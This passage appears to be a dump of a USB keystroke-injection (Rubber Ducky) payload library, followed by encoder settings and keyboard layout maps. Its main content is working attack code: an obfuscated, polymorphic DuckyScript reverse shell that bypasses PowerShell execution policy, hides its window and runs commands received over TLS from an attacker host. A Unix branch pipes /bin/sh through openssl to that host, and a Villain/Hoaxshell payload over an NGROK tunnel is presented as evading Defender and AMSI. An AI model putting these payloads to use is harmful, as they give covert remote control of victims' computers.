IF_DEFINED_TRUE #EXECUTIONPOLICY\r\n            SPACE\r\n            IF (($RANDOM_PS % 2) == 0) THEN\r\n                STRING -ep ByPasS\r\n            ELSE IF (($RANDOM_PS % 5) == 0) THEN\r\n                STRING -exec bypass\r\n            ELSE IF (($RANDOM_PS % 7) == 0) THEN\r\n                STRING -exeC byPasS\r\n            ELSE IF (($RANDOM_PS % 10) == 0) THEN\r\n                STRING -exEcUtionPoL bYpaSs\r\n            ELSE IF (($RANDOM_PS % 12) == 0) THEN\r\n                STRING -exEcUtion bYPaSs\r\n            ELSE\r\n                STRING -eP BYPaSs\r\n            END_IF\r\n        END_IF_DEFINED\r\n        ENTER\r\n        DELAY #DELAY\r\n    END_FUNCTION\r\n    REM EXAMPLE USAGE AFTER EXTENSION\r\n    REM DELAY 2000\r\n    REM GUI r\r\n    REM DELAY 2000\r\n    REM Rolling_Powershell_Execution()\r\nEND_EXTENSION\r\n\r\nEXTENSION DETECT_FINISHED\r\n    REM VERSION 1.0\r\n    REM AUTHOR: 0i41E\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        USAGE:\r\n            Use the function Detect_Finished() to signal the finished execution of your payload.\r\n    END_REM\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE #PAUSE 150\r\n    FUNCTION Detect_Finished()\r\n        IF ($_CAPSLOCK_ON == FALSE)\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            ATTACKMODE OFF\r\n        ELSE IF\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            ATTACKMODE OFF\r\n        END_IF\r\n    END_FUNCTION\r\nEND_EXTENSION\r\n\r\nEXTENSION WINDOWS11_CONSOLE_DOWNGRADE\r\n    REM_BLOCK\r\n        Version: 1.0\r\n        Author: 0i41E\r\n        Description: Downgrade the default command prompt of Windows 11 to use Conhost again. \r\n        Afterwards PowerShell can be used with paramters like \"-WindowStyle Hidden\" again.\r\n    END_REM\r\n\r\n    REM CONFIGURATION:\r\n    REM Used to wait until initial execution\r\n    DEFINE #INPUT_WAIT 2000\r\n    REM GUID for using the legacy console host for terminal execution\r\n    DEFINE #CONHOST B23D10C0-E52E-411E-9D5B-C09FDF709C7D\r\n \r\n    FUNCTION Console_Downgrade()\r\n        DELAY #INPUT_WAIT\r\n        GUI r\r\n        DELAY 500\r\n        STRINGLN powershell -NoP -NonI\r\n        DELAY 1000\r\n        STRING Set-ItemProperty -Path \"HKCU:\\Console\\%%Startup\" -Name DelegationConsole -Value \"{#CONHOST}\";\r\n        STRINGLN Set-ItemProperty -Path \"HKCU:\\Console\\%%Startup\" -Name DelegationTerminal -Value \"{#CONHOST}\";exit\r\n    END_FUNCTION\r\n\r\n    REM_BLOCK\r\n        EXAMPLE USAGE AFTER EXTENSION: Downgrade the command prompt via registry, then open a hidden PS instance and execute Calc.exe.\r\n        Console_Downgrade()\r\n        DELAY 2000\r\n        GUI r\r\n        DELAY 2000\r\n        STRINGLN powershell -w h\r\n        DELAY 1500\r\n        STRINGLN calc.exe;exit\r\n    END_REM\r\nEND_EXTENSION\r\n\r\nREM Define the attackers IP, Port and Identifier\r\nDEFINE #ADDRESS '0.0.0.0'\r\nDEFINE #PORT 4444\r\nDEFINE #IDENTIFIER Ducky\r\nREM Automatic setup requires openssl!\r\nDEFINE #SETUP FALSE\r\nREM Turn on when target uses Windows 11 - Helps to hide Powershell\r\nDEFINE #WINDOWS11 FALSE\r\n\r\nREM Automatic setup and start listener - Requires openssl!\r\nIF_DEFINED_TRUE #SETUP\r\n    IF ($_OS == #NOT_WINDOWS) THEN    \r\n        DELAY 1500\r\n        STRINGLN echo \"Setting up Infrastructre - Do not interact!\"\r\n        DELAY 1000\r\n        STRINGLN openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes && echo \"Setup complete! Starting listener on Port #PORT \" && openssl s_server -quiet -key key.pem -cert cert.pem -port #PORT\r\n    ELSE\r\n        DELAY 1500        \r\n        GUI r\r\n        DELAY 1000\r\n        STRINGLN notepad.exe\r\n        DELAY 250\r\n        STRING Setup requires an unix based machine with openssl installed!\r\n    END_IF\r\nELSE_DEFINED\r\n    IF ($_OS == WINDOWS) THEN\r\n    \r\n        REM Pseudo random variables for layer one polymorphism\r\n        VAR $var_gibberish = $_RANDOM_NUMBER_KEYCODE\r\n        VAR $var_gibberish2 = $_RANDOM_LETTER_KEYCODE \r\n        VAR $var_gibberish3 = $_RANDOM_LOWER_LETTER_KEYCODE \r\n        VAR $var_gibberish4 = $_RANDOM_LETTER_KEYCODE\r\n        VAR $var_gibb3rish = $_RANDOM_NUMBER_KEYCODE\r\n        VAR $var_gIbberish5 = $_RANDOM_UPPER_LETTER_KEYCODE\r\n        VAR $var_gibberish6 = $_RANDOM_NUMBER_KEYCODE\r\n        VAR $var_gibBerish1 = $_RANDOM_NUMBER_KEYCODE\r\n        \r\n        REM Layer two polymorphism\r\n        VAR $RANDOM_LAYER = $_RANDOM_INT\r\n        \r\n        REM Polymorphism function\r\n        FUNCTION Polymorphism()\r\n            IF (($RANDOM_LAYER % 2) == 0) THEN\r\n                STRING $\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gibberish2\r\n                INJECT_VAR $var_gibberish3\r\n                INJECT_VAR $var_gibberish3\r\n                INJECT_VAR $var_gibberish4\r\n                INJECT_VAR $var_gIbberish5\r\n            ELSE IF (($RANDOM_LAYER % 6) == 0) THEN\r\n                STRING $\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gibberish2\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gibberish3\r\n                INJECT_VAR $var_gibberish4\r\n                INJECT_VAR $var_gibberish\r\n            ELSE\r\n                STRING $\r\n                INJECT_VAR $var_gibberish4\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gibberish2\r\n                INJECT_VAR $var_gibberish3\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gibberish4\r\n            END_IF\r\n        END_FUNCTION\r\n        \r\n        REM Polymorphism function\r\n        FUNCTION Polymorphism2()\r\n            IF (($RANDOM_LAYER % 6) == 0) THEN\r\n                STRING $\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gibberish2\r\n                INJECT_VAR $var_gibberish3\r\n                INJECT_VAR $var_gibberish3\r\n                INJECT_VAR $var_gibberish4\r\n                INJECT_VAR $var_gIbberish5\r\n                INJECT_VAR $var_gIbberish5\r\n            ELSE IF (($RANDOM_LAYER % 9) == 0) THEN\r\n                STRING $\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gIbberish5\r\n                INJECT_VAR $var_gibberish2\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gibberish3\r\n                INJECT_VAR $var_gibberish4\r\n                INJECT_VAR $var_gibberish\r\n            ELSE\r\n                STRING $\r\n                INJECT_VAR $var_gibberish4\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gibberish2\r\n                INJECT_VAR $var_gibberish3\r\n                INJECT_VAR $var_gibberish6\r\n                INJECT_VAR $var_gibberish4\r\n                INJECT_VAR $var_gIbberish5\r\n            END_IF\r\n        END_FUNCTION\r\n        \r\n        REM Polymorphism function\r\n        FUNCTION Polymorphism3()\r\n            IF (($RANDOM_LAYER % 1) == 0) THEN\r\n                STRING $\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gibberish2\r\n                INJECT_VAR $var_gIbberish5\r\n            ELSE IF (($RANDOM_LAYER % 8) == 0) THEN\r\n                STRING $\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gIbberish5\r\n                INJECT_VAR $var_gibberish\r\n            ELSE\r\n                STRING $\r\n                INJECT_VAR $var_gibberish4\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gIbberish5\r\n            END_IF\r\n        END_FUNCTION\r\n        \r\n        REM Polymorphism function\r\n        FUNCTION Polymorphism4()\r\n            IF (($RANDOM_LAYER % 1) == 0) THEN\r\n                STRING $\r\n                INJECT_VAR $var_gIbberish5\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gibberish2\r\n                INJECT_VAR $var_gibb3rish\r\n            ELSE IF (($RANDOM_LAYER % 8) == 0) THEN\r\n                STRING $\r\n                INJECT_VAR $var_gibBerish1\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gIbberish5\r\n                INJECT_VAR $var_gibberish\r\n            ELSE\r\n                STRING $\r\n                INJECT_VAR $var_gibberish6\r\n                INJECT_VAR $var_gibberish4\r\n                INJECT_VAR $var_gibberish\r\n                INJECT_VAR $var_gIbberish5\r\n            END_IF\r\n        END_FUNCTION\r\n        \r\n        REM Connection Message\r\n        FUNCTION Quack_Slogan()\r\n            IF (($RANDOM_LAYER % 2) == 0) THEN\r\n                STRING \"[!] Quack you $env:USERNAME/$env:COMPUTERNAME! `n[?] Opsec Tip: Use environment variables.`n`n\"\r\n            ELSE IF (($RANDOM_LAYER % 3) == 0) THEN\r\n                STRING \"[!] $env:USERNAME/$env:COMPUTERNAME got found a flash drive... `n[?] Considere converting IPs to decimal (e.g. 127.0.0.1 = 2130706433)`n`n\"\r\n            ELSE IF (($RANDOM_LAYER % 4) == 0) THEN\r\n                STRING \"[!] $env:USERNAME/$env:COMPUTERNAME compromised by #IDENTIFIER `n[+] Ducks > D0lphins!`n`n\"\r\n            ELSE IF (($RANDOM_LAYER % 6) == 0) THEN\r\n                STRING \"[!] Quack Attack on $env:USERNAME/$env:COMPUTERNAME `n[+] Sometimes it is better to wait...Be patient!`n`n\"\r\n            ELSE IF (($RANDOM_LAYER % 8) == 0) THEN\r\n                STRING \"[!] Established remote access on $env:USERNAME/$env:COMPUTERNAME `n[?] Watch out for powershell -v 2!`n`n\"\r\n            ELSE IF (($RANDOM_LAYER % 9) == 0) THEN\r\n                STRING \"[!] $env:USERNAME/$env:COMPUTERNAME messed with the Duck `n[?] Remember to delete evidence.`n`n\"\r\n            ELSE\r\n                STRING \"[!] $env:USERNAME/$env:COMPUTERNAME says Quack! `n[+]...and then he waddled away...`n`n\"\r\n            END_IF\r\n        END_FUNCTION\r\n        \r\n        REM Downgrades the Console, if Windows 11 is set to TRUE\r\n        IF_DEFINED_TRUE #WINDOWS11\r\n            Console_Downgrade()\r\n            DELAY 2000\r\n        END_IF_DEFINED\r\n        GUI r\r\n        DELAY 500\r\n        Rolling_Powershell_Execution()\r\n        DELAY 1000\r\n        Polymorphism()    \r\n        STRING =[Text.Encoding]::UTF8.GetBytes(\r\n        Quack_Slogan()\r\n        STRING );\r\n        Polymorphism2()\r\n        REM Section were Address & Port get reflected\r\n        STRING =New-Object Net.Sockets.TcpClient( #ADDRESS , #PORT );\r\n        STRING $s=\r\n        Polymorphism2()\r\n        STRING .GetStream();\r\n        STRING $sSL=New-Object System.Net.Security.SslStream($s,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]));\r\n        STRING $sSL.AuthenticateAsClient('madeby.0i41E', $null, \"Tls12\", $false);\r\n        Polymorphism3()\r\n        STRING =new-object System.IO.StreamWriter($sSL);\r\n        STRING $sSL.write(\r\n        Polymorphism()\r\n        STRING ,0,\r\n        Polymorphism()\r\n        STRING .Length);\r\n        Polymorphism3()\r\n        STRING .Write('\r\n        REM Identifier\r\n        STRING #IDENTIFIER\r\n        STRING @PS '+(&('g'+'l'))+'> ');\r\n        Polymorphism3()\r\n        STRING .flush();[byte[]]\r\n        Polymorphism4() \r\n        STRING = 0..65535|%{0};while(($i=$sSL.Read(\r\n        Polymorphism4()\r\n        STRING , 0, \r\n        Polymorphism4()\r\n        STRING .Length)) -ne 0){$D=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(\r\n        Polymorphism4()\r\n        STRING ,0, $i);\r\n        STRING $Y=(iex $D | Out-String ) 2>&1;$X=$Y + '\r\n        REM Identifier\r\n        STRING #IDENTIFIER\r\n        STRING @PS ' + (Get-LoCatIon).Path + '> ';\r\n        STRING $Z=([text.encoding]::UTF8).GetBytes($X);$sSL.Write($Z,0,$Z.Length);\r\n        STRING $sSL.Flush()};exit\r\n        DELAY 250\r\n        ENTER\r\n        REM Indicator of successful execution\r\n        Detect_Finished()\r\n    ELSE\r\n        REM Executing reverse shell when inserted into non-windows box\r\n        REM Non-ideal solution for opening terminal (But should work for most unix distros)\r\n        DELAY 2000\r\n        INJECT_MOD COMMAND\r\n        DELAY 2000\r\n        STRING terminal\r\n        DELAY 500\r\n        ENTER\r\n        DELAY 1000\r\n        STRINGLN which screen >/dev/null && which openssl >/dev/null && screen -md sh -c 'mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect #ADDRESS:#PORT > /tmp/s; rm /tmp/s'\r\n        DELAY 1000\r\n        STRINGLN exit\r\n        REM Indicator of successful execution\r\n        Detect_Finished()\r\n    END_IF\r\nEND_IF_DEFINED\r\n"
  },
  {
    "path": "payloads/library/remote_access/VillainShellviaNGROKTunnel/README.MD",
    "content": "**Title: Hoaxshell via Villain Payload and NGROK Tunnel**\r\n\r\n<p>Author: HackingMark<br>\r\nOS: Windows<br>\r\nVersion: 1.0<br>\r\nRequirements: DuckyScript 3.0, powershell, Linux Maschine with Villain, NGROK</p>\r\n\r\n**What is Villain?**\r\n#\r\n*Villain is a Toolset to setup Payloads and Listener for Hoaxshell*\r\n*Hoaxshell is actually undetected by Windows Defender and the Payload is optimized to bypass AMSITrigger*\r\n*The Powershell Payload connects the target Machine back to the Hoaxshell Server, NGROK makes this Server reachable from the Internet. *\r\n*That way you can catch your session from everywhere. Once your session is established, you can open an interactive shell.*\r\n\r\n\r\n\r\n**How to use this Payload**\r\n\r\nFirst clone Villain from Repo:\r\n`git clone https://github.com/t3l3machus/Villain`\r\nThen install Requirements:\r\n`cd Villain`\r\n`pip install -r ./requirements.txt`\r\nAllow Villain to start:\r\n`chmod +x ./Villain.py`\r\nFire it up:\r\n`./Villain.py`\r\nGenerate a payload to get the session identifier:\r\n`generate os=windows lhost=0.0.0.0 lport=8080`\r\n![alt text](https://github.com/HackingMark/usbrubberducky-payloads/blob/master/payloads/library/remote_access/VillainShellviaNGROKTunnel/media/villain.png)\r\n\r\nEstablish NGROK Tunnel forwarding Traffic to our Hoaxshell Engine\r\n`ngrok http 8080`\r\n![alt text](https://github.com/HackingMark/usbrubberducky-payloads/blob/master/payloads/library/remote_access/VillainShellviaNGROKTunnel/media/ngrok1.png)\r\nLeave this Window open\r\n![alt text](https://github.com/HackingMark/usbrubberducky-payloads/blob/master/payloads/library/remote_access/VillainShellviaNGROKTunnel/media/ngrok2.png)\r\n\r\n**Preparing the Payload:**\r\nYou need 2 Values from above: NGROK HTTPS Link and Session Identifier from Villain\r\nPut it into the Payload then compile it to inject.bin and download.\r\n![alt text](https://github.com/HackingMark/usbrubberducky-payloads/blob/master/payloads/library/remote_access/VillainShellviaNGROKTunnel/media/payloadstudio.png)\r\n\r\nCopy your Inject.bin to your Ducky!\r\n\r\n<p>Plug your Ducky into a Windows target.<br>\r\nAchieve reverse shell.<br>\r\n   open a shell with </p>\r\n   `shell SESSION-ID`\r\n"
  },
  {
    "path": "payloads/library/remote_access/VillainShellviaNGROKTunnel/payload.txt",
    "content": "REM Villain Shell via NGROK\nREM HackingMark\nREM DESCRIPTION This Script spawns a Admin Powershellwindow  and executes the Villain Payload throug an NGROK Tunnel in the Background(Win10)/minimized(Win11)\n\nREM Villain Hoaxshell by T3l3machus on Github: https://github.com/t3l3machus/Villain \nREM What to do before: Start Villain.py on your System and create a Payload (generate os=windows lhost=0.0.0.0 lport=8080) to get the $i value\nREM take the generated Value from $i and paste it in line 11-13\nREM Start Ngrok Tunnel (ngrok http 8080)\nREM Put your NGROK HTTPS Link here\nDEFINE #NGROK Example.com\nREM Split your Sessionnumber into 3 parts eg $i='4ba4f358-322d5df5-f4516c91'\nDEFINE #SN1 4ba4f358\nDEFINE #SN2 322d5df5\nDEFINE #SN3 f4516c91\n\n\nDELAY 2000\nGUI x\nDELAY 200\nSTRING a\nDELAY 500\nALT j\nREM The Part above needs to be adapted to your language, code is for German System Layouts\nDELAY 1000\nSTRING powershell -w h -NoP -NonI -ep Bypass -C {$s='\nSTRING #NGROK\nSTRING ';$i='\nSTRING #SN1\nSTRING -\nSTRING #SN2\nSTRING -\nSTRING #SN3\nSTRING ';$p='h'+'ttps://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/\nSTRING #SN1\nSTRING /$env:COMPUTERNAME/$env:USERNAME -Headers @{\"Authorization\"=$i;\"ngrok-skip-browser-warning\"=\"asd\"};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/\nSTRING #SN2\nSPACE\nSTRING -Headers @{\"Authorization\"=$i;\"ngrok-skip-browser-warning\"=\"asd\"});if ($c -ne 'None') {$r=Invoke-Expression $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/\nSTRING #SN3\nSPACE\nSTRING -Method POST -Headers @{\"Authorization\"=$i;\"ngrok-skip-browser-warning\"=\"asd\"} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}}\nENTER\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/.classpath",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classpath>\n\t<classpathentry kind=\"src\" path=\"src\"/>\n\t<classpathentry kind=\"con\" path=\"org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.6\"/>\n\t<classpathentry kind=\"output\" path=\"bin\"/>\n</classpath>\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/.project",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<projectDescription>\n\t<name>Hak5_Duck_Encoder</name>\n\t<comment></comment>\n\t<projects>\n\t</projects>\n\t<buildSpec>\n\t\t<buildCommand>\n\t\t\t<name>org.eclipse.jdt.core.javabuilder</name>\n\t\t\t<arguments>\n\t\t\t</arguments>\n\t\t</buildCommand>\n\t</buildSpec>\n\t<natures>\n\t\t<nature>org.eclipse.jdt.core.javanature</nature>\n\t</natures>\n</projectDescription>\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/.settings/org.eclipse.jdt.core.prefs",
    "content": "#Sun Aug 07 16:02:51 PDT 2011\neclipse.preferences.version=1\norg.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled\norg.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6\norg.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve\norg.eclipse.jdt.core.compiler.compliance=1.6\norg.eclipse.jdt.core.compiler.debug.lineNumber=generate\norg.eclipse.jdt.core.compiler.debug.localVariable=generate\norg.eclipse.jdt.core.compiler.debug.sourceFile=generate\norg.eclipse.jdt.core.compiler.problem.assertIdentifier=error\norg.eclipse.jdt.core.compiler.problem.enumIdentifier=error\norg.eclipse.jdt.core.compiler.source=1.6\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/README",
    "content": "This new version allows you to use alternative layout. It supports ASCII, ISO-8859-1 and unicode.\n\n$java -jar duckencode.jar -i script.txt -o inject.bin -l fr\nor\n$java -jar duckencode.jar -i script.txt -o inject.bin -l resources/mylayout.properties\n\n----------\n\nHak5 Duck Encoder 2.6.3\n\nusage: duckencode -i [file ..] encode specified file\n   or: duckencode -i [file ..] -o [file ..] encode to specified file\n\nArguments:\n   -i [file ..]         Input File\n   -o [file ..]         Output File\n   -l [file ..]         Keyboard Layout (us/uk/fr/pt or a path to a properties file)\n\nScript Commands:\n   ALT [key name] (ex: ALT F4, ALT SPACE)\n   ALT-SHIFT (Input Lanugage Swap)\n   CTRL | CONTROL [key name] (ex: CTRL ESC)\n   CTRL-ALT [key name] (ex: CTRL-ALT DEL)\n   CTRL-SHIFT [key name] (ex: CTRL-SHIFT ESC)\n   DEFAULT_DELAY | DEFAULTDELAY [Time in millisecond * 10] (change the delay between each command)\n   DELAY [Time in millisecond * 10] (used to overide temporary the default delay)\n   COMMAND | COMMAND [key] (For OSX Users ex: COMMAND SPACE)\n   GUI | WINDOWS [key name] (ex: GUI r, GUI l)\n   REM [anything] (used to comment your code, no obligation :) )\n   SHIFT [key name] (ex: SHIFT DEL)\n   REPEAT [Number] (Repeat last command N times)\n   STRING [any character of your layout]\n   [key name] (anything in the keyboard.properties)\n\nNote:\n   Getting strange behaviour with GUI to open windows-menu, WINDOWS appears to work ok (but GUI maps to WINDOWS), strange?\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/be.properties",
    "content": "#ifdef LAYOUT_FRENCH_BELGIAN\n\nKEY_NON_US_100 = 100\n\nASCII_20 = KEY_SPACE\n// 32  \nASCII_21 = KEY_8\n// 33 !\nASCII_22 = KEY_3\n// 34 \"\nASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT\n// 35 #\nASCII_24 = KEY_RIGHT_BRACE\n// 36 $\nASCII_25 = KEY_QUOTE, MODIFIERKEY_SHIFT\n// 37 %\nASCII_26 = KEY_1\n// 38 &\nASCII_27 = KEY_4\n// 39 '  \nASCII_28 = KEY_5\n// 40 ( \nASCII_29 = KEY_MINUS\n// 41 )\nASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\n// 42 *\nASCII_2B = KEY_SLASH, MODIFIERKEY_SHIFT\n// 43 +\nASCII_2C = KEY_M\n// 44 ,\nASCII_2D = KEY_EQUAL\n// 45 -\nASCII_2E = KEY_COMMA, MODIFIERKEY_SHIFT\n// 46 .\nASCII_2F = KEY_PERIOD, MODIFIERKEY_SHIFT\n// 47 /\nASCII_30 = KEY_0, MODIFIERKEY_SHIFT\n// 48 0\nASCII_31 = KEY_1, MODIFIERKEY_SHIFT\n// 49 1\nASCII_32 = KEY_2, MODIFIERKEY_SHIFT\n// 50 2\nASCII_33 = KEY_3, MODIFIERKEY_SHIFT\n// 51 3\nASCII_34 = KEY_4, MODIFIERKEY_SHIFT\n// 52 4\nASCII_35 = KEY_5, MODIFIERKEY_SHIFT\n// 53 5\nASCII_36 = KEY_6, MODIFIERKEY_SHIFT\n// 54 6\nASCII_37 = KEY_7, MODIFIERKEY_SHIFT\n// 55 7\nASCII_38 = KEY_8, MODIFIERKEY_SHIFT\n// 55 8\nASCII_39 = KEY_9, MODIFIERKEY_SHIFT\n// 57 9\nASCII_3A = KEY_PERIOD\n// 58 :\nASCII_3B = KEY_COMMA\n// 59 ;\nASCII_3C = KEY_NON_US_100\n// 60 <\nASCII_3D = KEY_SLASH\n// 61 =\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\n// 62 >\nASCII_3F = KEY_M, MODIFIERKEY_SHIFT\n// 63 ?\nASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT\n// 64 @\nASCII_41 = KEY_Q, MODIFIERKEY_SHIFT\n// 65 A\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\n// 66 B\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\n// 67 C\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\n// 68 D\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\n// 69 E\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\n// 70 F\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\n// 71 G\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\n// 72 H\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\n// 73 I\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\n// 74 J\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\n// 75 K\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\n// 76 L\nASCII_4D = KEY_SEMICOLON, MODIFIERKEY_SHIFT\n// 77 M\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\n// 78 N\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\n// 79 O\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\n// 80 P\nASCII_51 = KEY_A, MODIFIERKEY_SHIFT\n// 81 Q\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\n// 82 R\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\n// 83 S\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\n// 84 T\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\n// 85 U\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\n// 86 V\nASCII_57 = KEY_Z, MODIFIERKEY_SHIFT\n// 87 W\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\n// 88 X\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\n// 89 Y\nASCII_5A = KEY_W, MODIFIERKEY_SHIFT\n// 90 Z\nASCII_5B = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\n// 91 [\nASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT\n// 92 \nASCII_5D = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT\n// 93 ]\nASCII_5E = KEY_6, MODIFIERKEY_RIGHT_ALT\n// 94 ^\nASCII_5F = KEY_EQUAL, MODIFIERKEY_SHIFT\n// 95 _\nASCII_60 = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT\n// 96 ` (not tested)\nASCII_61 = KEY_Q\n// 97 a\nASCII_62 = KEY_B\n// 98 b\nASCII_63 = KEY_C\n// 99 c\nASCII_64 = KEY_D\n// 100 d\nASCII_65 = KEY_E\n// 101 e\nASCII_66 = KEY_F\n// 102 f\nASCII_67 = KEY_G\n// 103 g\nASCII_68 = KEY_H\n// 104 h\nASCII_69 = KEY_I\n// 105 i\nASCII_6A = KEY_J\n// 106 j\nASCII_6B = KEY_K\n// 107 k\nASCII_6C = KEY_L\n// 108 l\nASCII_6D = KEY_SEMICOLON\n// 109 m\nASCII_6E = KEY_N\n// 110 n\nASCII_6F = KEY_O\n// 111 o\nASCII_70 = KEY_P\n// 112 p\nASCII_71 = KEY_A\n// 113 q\nASCII_72 = KEY_R\n// 114 r\nASCII_73 = KEY_S\n// 115 s\nASCII_74 = KEY_T\n// 116 t\nASCII_75 = KEY_U\n// 117 u\nASCII_76 = KEY_V\n// 118 v\nASCII_77 = KEY_Z\n// 119 w\nASCII_78 = KEY_X\n// 120 x\nASCII_79 = KEY_Y\n// 121 y\nASCII_7A = KEY_W\n// 122 z\nASCII_7B = KEY_9, MODIFIERKEY_RIGHT_ALT\n// 123 {\nASCII_7C = KEY_1, MODIFIERKEY_RIGHT_ALT\n// 124 |\nASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT\n// 125 }\nASCII_7E = KEY_SLASH, MODIFIERKEY_RIGHT_ALT\n// 126 ~\nASCII_7F = KEY_BACKSPACE\n// 127\nISO_8859_1_A0 = KEY_SPACE\n// 160       Nonbreakng Space\nISO_8859_1_A3 = KEY_BACKSLASH, MODIFIERKEY_SHIFT\n// 163 £     Pound Sign\nISO_8859_1_A7 = KEY_6\n// 167 §     SECTION SIGN\nISO_8859_1_B0 = KEY_MINUS, MODIFIERKEY_SHIFT\n// 176 °     DEGREE SIGN\nISO_8859_1_B2 = KEY_TILDE\n// 178 ²     SUPERSCRIPT TWO\nISO_8859_1_B3 = KEY_TILDE, MODIFIERKEY_SHIFT\n// 179 ³     SUPERSCRIPT THREE\n//ISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE\n// 180 ´     ACUTE ACCENT\nISO_8859_1_B5 = KEY_BACKSLASH\n// 181 µ     MICRO SIGN\nISO_8859_1_E0 = KEY_0\n// 224 à     a GRAVE\nISO_8859_1_E7 = KEY_9\n// 231 ç     c CEDILLA\nISO_8859_1_E8 = KEY_7\n// 232 è     e GRAVE\nISO_8859_1_E9 = KEY_2\n// 233 é     e ACUTE\nISO_8859_1_F9 = KEY_QUOTE\n// 249 ù     u GRAVE - TODO; check FRENCH\nUNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT\n//     €     Euro Sign\n\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/br.properties",
    "content": "//LAYOUT_PORTUGUESE (BRAZIL) - http://ascii-table.com/keyboard.php/275\n//Updated by TheZakMan / @thezakman / thezakman.tumblr.com (20/10/2014)\n\nKEY_NON_US_100 = 100\n\n// a b c d e f g h i j k l m n o p r s t u v z x y q ç\nASCII_20 = KEY_SPACE\nASCII_61 = KEY_A\nASCII_62 = KEY_B\nASCII_63 = KEY_C\nASCII_64 = KEY_D\nASCII_65 = KEY_E\nASCII_66 = KEY_F\nASCII_67 = KEY_G\nASCII_68 = KEY_H\nASCII_69 = KEY_I\nASCII_6A = KEY_J\nASCII_6B = KEY_K\nASCII_6C = KEY_L\nASCII_6D = KEY_M\nASCII_6E = KEY_N\nASCII_6F = KEY_O\nASCII_70 = KEY_P\nASCII_72 = KEY_R\nASCII_73 = KEY_S\nASCII_74 = KEY_T\nASCII_75 = KEY_U\nASCII_76 = KEY_V\nASCII_7A = KEY_Z\nASCII_78 = KEY_X\nASCII_77 = KEY_W\nASCII_79 = KEY_Y\nASCII_71 = KEY_Q\n//ç\nISO_8859_1_E7 = KEY_SEMICOLON\n\n// A B C D E F G H I J K L M N O P R S T U V Z X Y Q Ç\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\nASCII_42 = KEY_B, 